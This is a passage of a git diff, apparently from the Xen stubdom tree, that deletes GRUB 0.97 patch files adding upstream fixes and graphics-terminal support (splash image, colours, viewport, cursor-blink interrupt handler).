- #ifdef FSYS_UFS2
-diff -uprN grub-0.97/stage2/imgact_aout.h grub/stage2/imgact_aout.h
---- grub-0.97/stage2/imgact_aout.h	2003-07-09 12:45:53.000000000 +0100
-+++ grub/stage2/imgact_aout.h	1999-06-24 01:03:29.000000000 +0100
-@@ -32,7 +32,7 @@
-  * SUCH DAMAGE.
-  *
-  *	from: @(#)exec.h	8.1 (Berkeley) 6/11/93
-- *	$Id: imgact_aout.h,v 1.1 1999/06/24 00:03:22 okuji Exp $
-+ *	$Id: imgact_aout.h 98 1999-06-24 00:03:29Z okuji $
-  */
- /*
-  *  11/23/95 - Kludge to get "ntohl" null macro added.  -- ESB
-diff -uprN grub-0.97/stage2/iso9660.h grub/stage2/iso9660.h
---- grub-0.97/stage2/iso9660.h	2004-03-27 16:02:38.000000000 +0000
-+++ grub/stage2/iso9660.h	2007-02-22 23:40:25.000000000 +0000
-@@ -73,11 +73,11 @@ typedef	union {
- 
- typedef	struct __iso_16bit {
-   u_int16_t l, b;
--} iso_16bit_t __attribute__ ((packed));
-+} iso_16bit_t;
- 
- typedef	struct __iso_32bit {
-   u_int32_t l, b;
--} iso_32bit_t __attribute__ ((packed));
-+} iso_32bit_t;
- 
- typedef u_int8_t		iso_date_t[7];
- 
-diff -uprN grub-0.97/stage2/shared.h grub/stage2/shared.h
---- grub-0.97/stage2/shared.h	2004-06-19 17:40:09.000000000 +0100
-+++ grub/stage2/shared.h	2008-03-28 13:22:28.000000000 +0000
-@@ -499,7 +499,11 @@ struct vbe_mode
-   unsigned char linear_reserved_field_position;
-   unsigned long max_pixel_clock;
- 
--  unsigned char reserved3[189];
-+  /* Reserved field to make structure to be 256 bytes long, VESA BIOS 
-+     Extension 3.0 Specification says to reserve 189 bytes here but 
-+     that doesn't make structure to be 256 bytes.  So additional one is 
-+     added here.  */
-+  unsigned char reserved3[189 + 1];
- } __attribute__ ((packed));
- 
- 
-@@ -807,7 +811,7 @@ int checkkey (void);
- /* Low-level disk I/O */
- int get_diskinfo (int drive, struct geometry *geometry);
- int biosdisk (int subfunc, int drive, struct geometry *geometry,
--	      int sector, int nsec, int segment);
-+	      unsigned int sector, int nsec, int segment);
- void stop_floppy (void);
- 
- /* Command-line interface functions. */
-@@ -920,10 +924,10 @@ int gunzip_test_header (void);
- int gunzip_read (char *buf, int len);
- #endif /* NO_DECOMPRESSION */
- 
--int rawread (int drive, int sector, int byte_offset, int byte_len, char *buf);
--int devread (int sector, int byte_offset, int byte_len, char *buf);
--int rawwrite (int drive, int sector, char *buf);
--int devwrite (int sector, int sector_len, char *buf);
-+int rawread (int drive, unsigned int sector, int byte_offset, int byte_len, char *buf);
-+int devread (unsigned int sector, int byte_offset, int byte_len, char *buf);
-+int rawwrite (int drive, unsigned int sector, char *buf);
-+int devwrite (unsigned int sector, int sector_len, char *buf);
- 
- /* Parse a device string and initialize the global parameters. */
- char *set_device (char *device);
-diff -uprN grub-0.97/stage2/stage2.c grub/stage2/stage2.c
---- grub-0.97/stage2/stage2.c	2005-03-19 17:51:57.000000000 +0000
-+++ grub/stage2/stage2.c	2006-05-05 23:06:31.000000000 +0100
-@@ -651,7 +651,10 @@ restart:
- 		  *(new_heap++) = 0;
- 
- 		  if (config_entries)
--		    run_menu (heap, NULL, new_num_entries, new_heap, 0);
-+		    {
-+		      current_entryno = first_entry + entryno;
-+		      run_menu (heap, NULL, new_num_entries, new_heap, 0);
-+		    }
- 		  else
- 		    {
- 		      cls ();
-@@ -727,7 +730,8 @@ restart:
- 	cur_entry = get_entry (config_entries, first_entry + entryno, 1);
- 
-       /* Set CURRENT_ENTRYNO for the command "savedefault".  */
--      current_entryno = first_entry + entryno;
-+      if (config_entries)
-+	current_entryno = first_entry + entryno;
-       
-       if (run_script (cur_entry, heap))
- 	{
-diff -uprN grub-0.97/stage2/tparm.c grub/stage2/tparm.c
---- grub-0.97/stage2/tparm.c	2003-07-09 12:45:53.000000000 +0100
-+++ grub/stage2/tparm.c	2002-11-29 20:39:24.000000000 +0000
-@@ -63,7 +63,7 @@ typedef char grub_bool;
- #define MAX_FORMAT_LEN 256
- #define max(a,b) ((a) > (b) ? (a) : (b))
- 
--//MODULE_ID("$Id: tparm.c,v 1.1 2002/11/29 20:39:24 okuji Exp $")
-+//MODULE_ID("$Id: tparm.c 708 2002-11-29 20:39:24Z okuji $")
- 
- /*
-  *	char *
-diff -uprN grub-0.97/stamp-h.in grub/stamp-h.in
---- grub-0.97/stamp-h.in	1970-01-01 01:00:00.000000000 +0100
-+++ grub/stamp-h.in	1999-09-13 14:32:31.000000000 +0100
-@@ -0,0 +1 @@
-+timestamp
-diff -uprN grub-0.97/THANKS grub/THANKS
---- grub-0.97/THANKS	2005-05-08 03:17:43.000000000 +0100
-+++ grub/THANKS	2006-03-21 20:51:58.000000000 +0000
-@@ -121,3 +121,4 @@ Vesa Jaaskelainen <jaaskela@tietomyrsky.
- Yedidyah Bar-David <didi@post.tau.ac.il>
- Yury V. Umanets <umka@namesys.com>
- Yuri Zaporogets <yuriz@ukr.net>
-+Vitaly Fertman <vitaly@namesys.com>
-diff -uprN grub-0.97/util/grub-install.in grub/util/grub-install.in
---- grub-0.97/util/grub-install.in	2004-07-24 19:57:31.000000000 +0100
-+++ grub/util/grub-install.in	2006-04-20 14:46:46.000000000 +0100
-@@ -112,8 +112,8 @@ convert () {
- 	tmp_disk=`echo "$1" | sed 's%\([sh]d[0-9]*\).*%\1%'`
- 	tmp_part=`echo "$1" | sed "s%$tmp_disk%%"` ;;
-     freebsd* | kfreebsd*-gnu)
--	tmp_disk=`echo "$1" | sed 's%r\{0,1\}\([saw]d[0-9]*\).*$%r\1%' \
--			    | sed 's%r\{0,1\}\(da[0-9]*\).*$%r\1%'`
-+	tmp_disk=`echo "$1" | sed 's%r\{0,1\}\([saw]d[0-9]*\).*$%\1%' \
-+			    | sed 's%r\{0,1\}\(da[0-9]*\).*$%\1%'`
- 	tmp_part=`echo "$1" \
- 	    | sed "s%.*/r\{0,1\}[saw]d[0-9]\(s[0-9]*[a-h]\)%\1%" \
-        	    | sed "s%.*/r\{0,1\}da[0-9]\(s[0-9]*[a-h]\)%\1%"`
-diff -uprN grub-0.97/util/mkbimage grub/util/mkbimage
---- grub-0.97/util/mkbimage	2004-07-24 19:57:31.000000000 +0100
-+++ grub/util/mkbimage	2007-02-22 16:01:03.000000000 +0000
-@@ -1,7 +1,7 @@
- #!/bin/sh
- # MaKe a Bootable IMAGE --- 1.44, 2.88 and El Torito no-emulation mode
- # C) 2001,2002,2003 Thierry Laronde <tlaronde@polynum.org>
--# C) 2001,2002,2003 Robert Millan <robertmh@gnu.org>
-+# C) 2001,2002,2003 Robert Millan <rmh@aybabtu.com>
- 
- 
- # This program is free software; you can redistribute it and/or modify
-@@ -19,7 +19,7 @@
- # program's maintainer or write to: The Free Software Foundation,
- # Inc.; 59 Temple Place, Suite 330; Boston, MA 02111-1307, USA.
- 
--# $Id: mkbimage,v 1.19 2004/07/21 14:43:04 robertmh Exp $
-+# $Id: mkbimage 1233 2007-02-22 16:01:03Z robertmh $
- 
- # Global variables
- tarfile=
-@@ -58,7 +58,7 @@ stage2_os_name=
- 
- # Name by which this script was invoked.
- program=`echo "$0" | sed -e 's/[^\/]*\///g'`
--version_number='$Revision: 1.19 $'
-+version_number='$Revision: 1233 $'
- 
- usage="
- Usage: $program [-hVF] [-t TYPE] [-d DIRECTORY] [-s FS_TYPE] -f TAR_FILE
-@@ -94,15 +94,13 @@ Options:
- 	    display Version information and exit
- 
- Copyright (c) 2001,2002,2003 Thierry Laronde <tlaronde@polynum.org>. 
--Copyright (c) 2001,2002 Robert Millan <zeratul2@wanadoo.es>.
- GPLed."
- 
- version="mkbimage $version_number
- 
--Written by Thierry Laronde and Robert Millan.
-+Written by Thierry Laronde.
- 
- Copyright (c) 2001,2002,2003 Thierry Laronde <tlaronde@polynum.org>.
--Copyright (c) 2001,2002,2003 Robert Millan <zeratul2@wanadoo.es>.
- 
- This is free software under the GPL version 2 or later; see the source for 
- copying conditions.  There is NO warranty, not even for MERCHANTABILITY or 
diff --git a/stubdom/grub.patches/10graphics.diff b/stubdom/grub.patches/10graphics.diff
deleted file mode 100644
index 5ee2852fd7..0000000000
--- a/stubdom/grub.patches/10graphics.diff
+++ /dev/null
@@ -1,2297 +0,0 @@
-diff -Naur grub-0.97.orig/configure.ac grub-0.97/configure.ac
---- grub-0.97.orig/configure.ac	2005-05-07 23:36:03.000000000 -0300
-+++ grub-0.97/configure.ac	2005-06-12 20:56:49.000000000 -0300
-@@ -595,6 +595,11 @@
-   [  --enable-diskless       enable diskless support])
- AM_CONDITIONAL(DISKLESS_SUPPORT, test "x$enable_diskless" = xyes)
- 
-+dnl Graphical splashscreen support
-+AC_ARG_ENABLE(graphics,
-+  [  --disable-graphics      disable graphics terminal support])
-+AM_CONDITIONAL(GRAPHICS_SUPPORT, test "x$enable_graphics" != xno)
-+
- dnl Hercules terminal
- AC_ARG_ENABLE(hercules,
-   [  --disable-hercules      disable hercules terminal support])
-diff -Naur grub-0.97.orig/stage2/asm.S grub-0.97/stage2/asm.S
---- grub-0.97.orig/stage2/asm.S	2004-06-19 13:55:22.000000000 -0300
-+++ grub-0.97/stage2/asm.S	2005-06-13 14:05:31.000000000 -0300
-@@ -2216,7 +2216,304 @@
- 	pop	%ebx
- 	pop	%ebp
- 	ret
--		
-+
-+
-+/* graphics mode functions */
-+#ifdef SUPPORT_GRAPHICS
-+VARIABLE(cursorX)
-+.word	0
-+VARIABLE(cursorY)
-+.word	0
-+VARIABLE(cursorCount)
-+.word 0
-+VARIABLE(cursorBuf)
-+.byte	0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
-+
-+
-+/*
-+ * set_int1c_handler(void)
-+ */
-+ENTRY(set_int1c_handler)
-+	pushl   %edi
-+
-+	/* save the original int1c handler */
-+	movl    $0x70, %edi
-+	movw    (%edi), %ax
-+	movw    %ax, ABS(int1c_offset)
-+	movw    2(%edi), %ax
-+	movw    %ax, ABS(int1c_segment)
-+
-+	/* save the new int1c handler */
-+	movw    $ABS(int1c_handler), %ax
-+	movw    %ax, (%edi)
-+	xorw    %ax, %ax
-+	movw    %ax, 2(%edi)
-+
-+	popl    %edi
-+	ret
-+
-+
-+/*
-+ * unset_int1c_handler(void)
-+ */
-+ENTRY(unset_int1c_handler)
-+	pushl   %edi
-+
-+	/* check if int1c_handler is set */
-+	movl    $0x70, %edi
-+	movw    $ABS(int1c_handler), %ax
-+	cmpw    %ax, (%edi)
-+	jne     int1c_1
-+	xorw    %ax, %ax
-+	cmpw    %ax, 2(%edi)
-+	jne     int1c_1
-+
-+	/* restore the original */
-+	movw    ABS(int1c_offset), %ax
-+	movw    %ax, (%edi)
-+	movw    ABS(int1c_segment), %ax
-+	movw    %ax, 2(%edi)
-+
-+int1c_1:
-+	popl    %edi
-+	ret
-+
-+
-+/*
-+ * blinks graphics cursor
-+ */
-+	.code16
-+write_data:
-+	movw    $0, %ax
-+	movw    %ax, %ds
-+
-+	mov     $0xA000, %ax            /* video in es:di */
-+	mov     %ax, %es
-+	mov     $80, %ax
-+	movw    $ABS(cursorY), %si
-+	mov     %ds:(%si), %bx
-+	mul     %bx
-+	movw    $ABS(cursorX), %si
-+	mov     %ds:(%si), %bx
-+	shr     $3, %bx                 /* %bx /= 8 */
-+	add     %bx, %ax
-+	mov     %ax, %di
-+
-+	movw    $ABS(cursorBuf), %si    /* fontBuf in ds:si */
-+
-+	/* prepare for data moving */
-+	mov     $16, %dx                /* altura da fonte */
-+	mov     $80, %bx                /* bytes por linha */
-+
-+write_loop:
-+	movb    %ds:(%si), %al
-+	xorb    $0xff, %al
-+	movb    %al, %ds:(%si)          /* invert cursorBuf */
-+	movb    %al, %es:(%di)          /* write to video */
-+	add     %bx, %di
-+	inc     %si
-+	dec     %dx
-+	jg      write_loop
-+	ret
-+
-+int1c_handler:
-+	pusha
-+	mov     $0, %ax
-+	mov     %ax, %ds
-+	mov     $ABS(cursorCount), %si
-+	mov     %ds:(%si), %ax
-+	inc     %ax
-+	mov     %ax, %ds:(%si)
-+	cmp     $9, %ax
-+	jne     int1c_done
-+
-+	mov     $0, %ax
-+	mov     %ax, %ds:(%si)
-+	call    write_data
-+
-+int1c_done:
-+	popa
-+	iret
-+	/* call previous int1c handler */
-+	/* ljmp */
-+	.byte   0xea
-+int1c_offset:  .word   0
-+int1c_segment: .word   0
-+	.code32
-+
-+
-+/*
-+ * unsigned char set_videomode(unsigned char mode)
-+ * BIOS call "INT 10H Function 0h" to set video mode
-+ *	Call with	%ah = 0x0
-+ *			%al = video mode
-+ *  Returns old videomode.
-+ */
-+ENTRY(set_videomode)
-+	pushl	%ebp
-+	movl	%esp,%ebp
-+	pushl	%ebx
-+	pushl	%ecx
-+
-+	movb	8(%ebp), %cl
-+
-+	call	EXT_C(prot_to_real)
-+	.code16
-+
-+	xorb	%al, %al
-+	movb	$0xf, %ah
-+	int	$0x10			/* Get Current Video mode */
-+	movb	%al, %ch
-+	xorb	%ah, %ah
-+	movb	%cl, %al
-+	int	$0x10			/* Set Video mode */
-+
-+	DATA32	call	EXT_C(real_to_prot)
-+	.code32
-+
-+	xorl	%eax, %eax
-+	movb	%ch, %al
-+
-+	popl	%ecx
-+	popl	%ebx
-+	popl	%ebp
-+	ret
-+
-+
-+/*
-+ * int get_videomode()
-+ * BIOS call "INT 10H Function 0Fh" to get current video mode
-+ *	Call with	%al = 0x0
-+ *			%ah = 0xF
-+ *	Returns current videomode.
-+ */
-+ENTRY(get_videomode)
-+	pushl	%ebp
-+	movl	%esp,%ebp
-+	pushl	%ebx
-+	pushl	%ecx
-+
-+	call	EXT_C(prot_to_real)
-+	.code16
-+
-+	xorb	%al, %al
-+	movb	$0xF, %ah
-+	int	$0x10			/* Get Current Video mode */
-+	movb	%al, %cl	/* For now we only want display mode */
-+
-+	DATA32	call	EXT_C(real_to_prot)
-+	.code32
-+
-+	xorl	%eax, %eax
-+	movb	%cl, %al
-+
-+	popl	%ecx
-+	popl	%ebx
-+	popl	%ebp
-+	ret
-+
-+
-+/*
-+ * unsigned char * graphics_get_font()
-+ * BIOS call "INT 10H Function 11h" to set font
-+ *      Call with       %ah = 0x11
-+ */
-+ENTRY(graphics_get_font)
-+	push	%ebp
-+	push	%ebx
-+	push	%ecx
-+	push	%edx
-+
-+	call	EXT_C(prot_to_real)
-+	.code16
-+
-+	movw	$0x1130, %ax
-+	movb	$6, %bh		/* font 8x16 */
-+	int	$0x10
-+	movw	%bp, %dx
-+	movw	%es, %cx
-+
-+	DATA32	call	EXT_C(real_to_prot)
-+	.code32
-+
-+	xorl	%eax, %eax
-+	movw	%cx, %ax
-+	shll	$4, %eax
-+	movw	%dx, %ax
-+
-+	pop	%edx
-+	pop	%ecx
-+	pop	%ebx
-+	pop	%ebp
-+	ret
-+
-+
-+/*
-+ * graphics_set_palette(index, red, green, blue)
-+ * BIOS call "INT 10H Function 10h" to set individual dac register
-+ *	Call with	%ah = 0x10
-+ *			%bx = register number
-+ *			%ch = new value for green (0-63)
-+ *			%cl = new value for blue (0-63)
-+ *			%dh = new value for red (0-63)
-+ */
-+
-+ENTRY(graphics_set_palette)
-+	push	%ebp
-+	push	%eax
-+	push	%ebx
-+	push	%ecx
-+	push	%edx
-+
-+	movw	$0x3c8, %bx		/* address write mode register */
-+
-+	/* wait vertical retrace */
-+	movw	$0x3da, %dx
-+l1b:
-+	inb	%dx, %al	/* wait vertical active display */
-+	test	$8, %al
-+	jnz	l1b
-+
-+l2b:
-+	inb	%dx, %al	/* wait vertical retrace */
-+	test	$8, %al
-+	jnz	l2b
-+
-+	mov	%bx, %dx
-+	movb	0x18(%esp), %al		/* index */
-+	outb	%al, %dx
-+	inc	%dx
-+
-+	movb	0x1c(%esp), %al		/* red */
-+	outb	%al, %dx
-+
-+	movb	0x20(%esp), %al		/* green */
-+	outb	%al, %dx
-+
-+	movb	0x24(%esp), %al		/* blue */
-+	outb	%al, %dx
-+
-+	movw	0x18(%esp), %bx
-+
-+	call	EXT_C(prot_to_real)
-+	.code16
-+
-+	movb	%bl, %bh
-+	movw	$0x1000, %ax
-+	int	$0x10
-+
-+	DATA32	call	EXT_C(real_to_prot)
-+	.code32
-+
-+	pop	%edx
-+	pop	%ecx
-+	pop	%ebx
-+	pop	%eax
-+	pop	%ebp
-+	ret
-+#endif /* SUPPORT_GRAPHICS */
-+
-+
- /*
-  * getrtsecs()
-  *	if a seconds value can be read, read it and return it (BCD),
-diff -Naur grub-0.97.orig/stage2/builtins.c grub-0.97/stage2/builtins.c
---- grub-0.97.orig/stage2/builtins.c	2005-02-15 19:58:23.000000000 -0200
-+++ grub-0.97/stage2/builtins.c	2005-06-13 18:44:03.000000000 -0300
-@@ -28,6 +28,10 @@
- #include <filesys.h>
- #include <term.h>
- 
-+#ifdef SUPPORT_GRAPHICS
-+# include <graphics.h>
-+#endif
-+
- #ifdef SUPPORT_NETBOOT
- # define GRUB	1
- # include <etherboot.h>
-@@ -237,12 +241,22 @@
- static int
- boot_func (char *arg, int flags)
- {
-+  struct term_entry *prev_term = current_term;
-   /* Clear the int15 handler if we can boot the kernel successfully.
-      This assumes that the boot code never fails only if KERNEL_TYPE is
-      not KERNEL_TYPE_NONE. Is this assumption is bad?  */
-   if (kernel_type != KERNEL_TYPE_NONE)
-     unset_int15_handler ();
- 
-+  /* if our terminal needed initialization, we should shut it down
-+   * before booting the kernel, but we want to save what it was so
-+   * we can come back if needed */
-+  if (current_term->shutdown) 
-+    {
-+      current_term->shutdown();
-+      current_term = term_table; /* assumption: console is first */
-+    }
-+
- #ifdef SUPPORT_NETBOOT
-   /* Shut down the networking.  */
-   cleanup_net ();
-@@ -306,6 +320,13 @@
-       return 1;
-     }
- 
-+  /* if we get back here, we should go back to what our term was before */
-+  current_term = prev_term;
-+  if (current_term->startup)
-+      /* if our terminal fails to initialize, fall back to console since
-+       * it should always work */
-+      if (current_term->startup() == 0)
-+          current_term = term_table; /* we know that console is first */
-   return 0;
- }
- 
-@@ -852,6 +873,251 @@
- };
- #endif /* SUPPORT_NETBOOT */
- 
-+#ifdef SUPPORT_GRAPHICS
-+
-+static int splashimage_func(char *arg, int flags) {
-+  int i;
-+    
-+  /* filename can only be 256 characters due to our buffer size */
-+  if (grub_strlen(arg) > 256) {
-+    grub_printf("Splash image filename too large\n");
-+    grub_printf("Press any key to continue...");
-+    getkey();
-+    return 1;
-+  }
-+
-+  /* get rid of TERM_NEED_INIT from the graphics terminal. */
-+  for (i = 0; term_table[i].name; i++) {
-+    if (grub_strcmp (term_table[i].name, "graphics") == 0) {
-+      term_table[i].flags &= ~TERM_NEED_INIT;
-+      break;
-+    }
-+  }
-+
-+  graphics_set_splash(arg);
-+
-+  if (flags == BUILTIN_CMDLINE && graphics_inited) {
-+    graphics_end();
-+    if (graphics_init() == 0) {
-+      /* Fallback to default term */
-+      current_term = term_table;
-+      max_lines = current_term->max_lines;
-+      if (current_term->cls)
-+        current_term->cls();
-+      grub_printf("Failed to set splash image and/or graphics mode\n");
-+      return 1;
-+    }
-+    graphics_cls();
-+  }
-+
-+  if (flags == BUILTIN_MENU)
-+    current_term = term_table + i;
-+
-+  return 0;
-+}
-+
-+static struct builtin builtin_splashimage =
-+{
-+  "splashimage",
-+  splashimage_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "splashimage FILE",
-+  "Load FILE as the background image when in graphics mode."
-+};
-+
-+
-+/* shade */
-+static int
-+shade_func(char *arg, int flags)
-+{
-+    int new_shade;
-+
-+    if (!arg || safe_parse_maxint(&arg, &new_shade) == 0)
-+       return (1);
-+
-+    if (shade != new_shade) {
-+       shade = new_shade;
-+       if (flags == BUILTIN_CMDLINE && graphics_inited) {
-+           graphics_end();
-+           graphics_init();
-+           graphics_cls();
-+       }
-+    }
-+
-+    return 0;
-+}
-+
-+static struct builtin builtin_shade =
-+{
-+  "shade",
-+  shade_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "shade INTEGER",
-+  "If set to 0, disables the use of shaded text, else enables it."
-+};
-+
-+
-+/* foreground */
-+static int
-+foreground_func(char *arg, int flags)
-+{
-+    if (grub_strlen(arg) == 6) {
-+	int r = ((hex(arg[0]) << 4) | hex(arg[1])) >> 2;
-+	int g = ((hex(arg[2]) << 4) | hex(arg[3])) >> 2;
-+	int b = ((hex(arg[4]) << 4) | hex(arg[5])) >> 2;
-+
-+	foreground = (r << 16) | (g << 8) | b;
-+	if (graphics_inited)
-+	    graphics_set_palette(15, r, g, b);
-+
-+	return 0;
-+    }
-+
-+    return 1;
-+}
-+
-+static struct builtin builtin_foreground =
-+{
-+  "foreground",
-+  foreground_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "foreground RRGGBB",
-+  "Sets the foreground color when in graphics mode."
-+  "RR is red, GG is green, and BB blue. Numbers must be in hexadecimal."
-+};
-+
-+
-+/* background */
-+static int
-+background_func(char *arg, int flags)
-+{
-+    if (grub_strlen(arg) == 6) {
-+	int r = ((hex(arg[0]) << 4) | hex(arg[1])) >> 2;
-+	int g = ((hex(arg[2]) << 4) | hex(arg[3])) >> 2;
-+	int b = ((hex(arg[4]) << 4) | hex(arg[5])) >> 2;
-+
-+	background = (r << 16) | (g << 8) | b;
-+	if (graphics_inited)
-+	    graphics_set_palette(0, r, g, b);
-+	return 0;
-+    }
-+
-+    return 1;
-+}
-+
-+static struct builtin builtin_background =
-+{
-+  "background",
-+  background_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "background RRGGBB",
-+  "Sets the background color when in graphics mode."
-+  "RR is red, GG is green, and BB blue. Numbers must be in hexadecimal."
-+};
-+
-+
-+/* border */
-+static int
-+border_func(char *arg, int flags)
-+{
-+    if (grub_strlen(arg) == 6) {
-+       int r = ((hex(arg[0]) << 4) | hex(arg[1])) >> 2;
-+       int g = ((hex(arg[2]) << 4) | hex(arg[3])) >> 2;
-+       int b = ((hex(arg[4]) << 4) | hex(arg[5])) >> 2;
-+
-+       window_border = (r << 16) | (g << 8) | b;
-+       if (graphics_inited)
-+           graphics_set_palette(0x11, r, g, b);
-+
-+       return 0;
-+    }
-+
-+    return 1;
-+}
-+
-+static struct builtin builtin_border =
-+{
-+  "border",
-+  border_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "border RRGGBB",
-+  "Sets the border video color when in graphics mode."
-+  "RR is red, GG is green, and BB blue. Numbers must be in hexadecimal."
-+};
-+
-+
-+/* viewport */
-+static int
-+viewport_func (char *arg, int flags)
-+{
-+    int i;
-+    int x0 = 0, y0 = 0, x1 = 80, y1 = 30;
-+    int *pos[4] = { &x0, &y0, &x1, &y1 };
-+
-+    if (!arg)
-+       return (1);
-+    for (i = 0; i < 4; i++) {
-+       if (!*arg)
-+           return (1);
-+    while (*arg && (*arg == ' ' || *arg == '\t'))
-+           ++arg;
-+       if (!safe_parse_maxint(&arg, pos[i]))
-+           return (1);
-+       while (*arg && (*arg != ' ' && *arg != '\t'))
-+           ++arg;
-+    }
-+
-+    /* minimum size is 65 colums and 16 rows */
-+    if (x0 > x1 - 66 || y0 > y1 - 16 || x0 < 0 || y0 < 0 || x1 > 80 || y1 > 30)
-+       return 1;
-+
-+    view_x0 = x0;
-+    view_y0 = y0;
-+    view_x1 = x1;
-+    view_y1 = y1;
-+
-+    if (flags == BUILTIN_CMDLINE && graphics_inited) {
-+       graphics_end();
-+       graphics_init();
-+       graphics_cls();
-+    }
-+
-+    return 0;
-+}
-+
-+static struct builtin builtin_viewport =
-+{
-+  "viewport",
-+  viewport_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "viewport x0 y0 x1 y1",
-+  "Changes grub internals to output text in the window defined by"
-+  " four parameters. The x and y parameters are 0 based. This option"
-+  " only works with the graphics interface."
-+};
-+
-+#endif /* SUPPORT_GRAPHICS */
-+
-+
-+/* clear */
-+static int 
-+clear_func() 
-+{
-+  if (current_term->cls)
-+    current_term->cls();
-+
-+  return 0;
-+}
-+
-+static struct builtin builtin_clear =
-+{
-+  "clear",
-+  clear_func,
-+  BUILTIN_CMDLINE | BUILTIN_HELP_LIST,
-+  "clear",
-+  "Clear the screen"
-+};
-+
- 
- /* displayapm */
- static int
-@@ -1454,14 +1720,20 @@
- 
- 
- /* help */
--#define MAX_SHORT_DOC_LEN	39
--#define MAX_LONG_DOC_LEN	66
--
- static int
- help_func (char *arg, int flags)
- {
--  int all = 0;
--  
-+  int all = 0, max_short_doc_len, max_long_doc_len;
-+  max_short_doc_len = 39;
-+  max_long_doc_len = 66;
-+#ifdef SUPPORT_GRAPHICS
-+  if (grub_memcmp (current_term->name, "graphics", sizeof ("graphics") - 1) == 0)
-+    {
-+      max_short_doc_len = (view_x1 - view_x0 + 1) / 2 - 1;
-+      max_long_doc_len = (view_x1 - view_x0) - 14;
-+    }
-+#endif
-+
-   if (grub_memcmp (arg, "--all", sizeof ("--all") - 1) == 0)
-     {
-       all = 1;
-@@ -1491,13 +1763,13 @@
- 
- 	  len = grub_strlen ((*builtin)->short_doc);
- 	  /* If the length of SHORT_DOC is too long, truncate it.  */
--	  if (len > MAX_SHORT_DOC_LEN - 1)
--	    len = MAX_SHORT_DOC_LEN - 1;
-+	  if (len > max_short_doc_len - 1)
-+	    len = max_short_doc_len - 1;
- 
- 	  for (i = 0; i < len; i++)
- 	    grub_putchar ((*builtin)->short_doc[i]);
- 
--	  for (; i < MAX_SHORT_DOC_LEN; i++)
-+	  for (; i < max_short_doc_len; i++)
- 	    grub_putchar (' ');
- 
- 	  if (! left)
-@@ -1546,10 +1818,10 @@
- 		      int i;
- 
- 		      /* If LEN is too long, fold DOC.  */
--		      if (len > MAX_LONG_DOC_LEN)
-+		      if (len > max_long_doc_len)
- 			{
- 			  /* Fold this line at the position of a space.  */
--			  for (len = MAX_LONG_DOC_LEN; len > 0; len--)
-+			  for (len = max_long_doc_len; len > 0; len--)
- 			    if (doc[len - 1] == ' ')
- 			      break;
- 			}
-@@ -4085,7 +4357,7 @@
- };
- 
- 
--#if defined(SUPPORT_SERIAL) || defined(SUPPORT_HERCULES)
-+#if defined(SUPPORT_SERIAL) || defined(SUPPORT_HERCULES) || defined(SUPPORT_GRAPHICS)
- /* terminal */
- static int
- terminal_func (char *arg, int flags)
-@@ -4244,17 +4516,29 @@
-  end:
-   current_term = term_table + default_term;
-   current_term->flags = term_flags;
--  
-+
-   if (lines)
-     max_lines = lines;
-   else
--    /* 24 would be a good default value.  */
--    max_lines = 24;
--  
-+    max_lines = current_term->max_lines;
-+
-   /* If the interface is currently the command-line,
-      restart it to repaint the screen.  */
--  if (current_term != prev_term && (flags & BUILTIN_CMDLINE))
-+  if ((current_term != prev_term) && (flags & BUILTIN_CMDLINE)){
-+    if (prev_term->shutdown)
-+      prev_term->shutdown();
-+    if (current_term->startup) {
-+      /* If startup fails, return to previous term */
-+      if (current_term->startup() == 0) {
-+        current_term = prev_term;
-+        max_lines = current_term->max_lines;
-+        if (current_term->cls) {
-+          current_term->cls();
-+        }
-+      }
-+    }
-     grub_longjmp (restart_cmdline_env, 0);
-+  }
-   
-   return 0;
- }
-@@ -4264,7 +4548,7 @@
-   "terminal",
-   terminal_func,
-   BUILTIN_MENU | BUILTIN_CMDLINE | BUILTIN_HELP_LIST,
--  "terminal [--dumb] [--no-echo] [--no-edit] [--timeout=SECS] [--lines=LINES] [--silent] [console] [serial] [hercules]",
-+  "terminal [--dumb] [--no-echo] [--no-edit] [--timeout=SECS] [--lines=LINES] [--silent] [console] [serial] [hercules] [graphics]",
-   "Select a terminal. When multiple terminals are specified, wait until"
-   " you push any key to continue. If both console and serial are specified,"
-   " the terminal to which you input a key first will be selected. If no"
-@@ -4276,7 +4560,7 @@
-   " seconds. The option --lines specifies the maximum number of lines."
-   " The option --silent is used to suppress messages."
- };
--#endif /* SUPPORT_SERIAL || SUPPORT_HERCULES */
-+#endif /* SUPPORT_SERIAL || SUPPORT_HERCULES || SUPPORT_GRAPHICS */
- 
- 
- #ifdef SUPPORT_SERIAL
-@@ -4795,13 +5079,20 @@
- /* The table of builtin commands. Sorted in dictionary order.  */
- struct builtin *builtin_table[] =
- {
-+#ifdef SUPPORT_GRAPHICS
-+  &builtin_background,
-+#endif
-   &builtin_blocklist,
-   &builtin_boot,
- #ifdef SUPPORT_NETBOOT
-   &builtin_bootp,
- #endif /* SUPPORT_NETBOOT */
-+#ifdef SUPPORT_GRAPHICS
-+  &builtin_border,
-+#endif
-   &builtin_cat,
-   &builtin_chainloader,
-+  &builtin_clear,
-   &builtin_cmp,
-   &builtin_color,
-   &builtin_configfile,
-@@ -4821,6 +5112,9 @@
-   &builtin_embed,
-   &builtin_fallback,
-   &builtin_find,
-+#ifdef SUPPORT_GRAPHICS
-+  &builtin_foreground,
-+#endif
-   &builtin_fstest,
-   &builtin_geometry,
-   &builtin_halt,
-@@ -4864,9 +5158,13 @@
- #endif /* SUPPORT_SERIAL */
-   &builtin_setkey,
-   &builtin_setup,
--#if defined(SUPPORT_SERIAL) || defined(SUPPORT_HERCULES)
-+#ifdef SUPPORT_GRAPHICS
-+  &builtin_shade,
-+  &builtin_splashimage,
-+#endif /* SUPPORT_GRAPHICS */
-+#if defined(SUPPORT_SERIAL) || defined(SUPPORT_HERCULES) || defined(SUPPORT_GRAPHICS)
-   &builtin_terminal,
--#endif /* SUPPORT_SERIAL || SUPPORT_HERCULES */
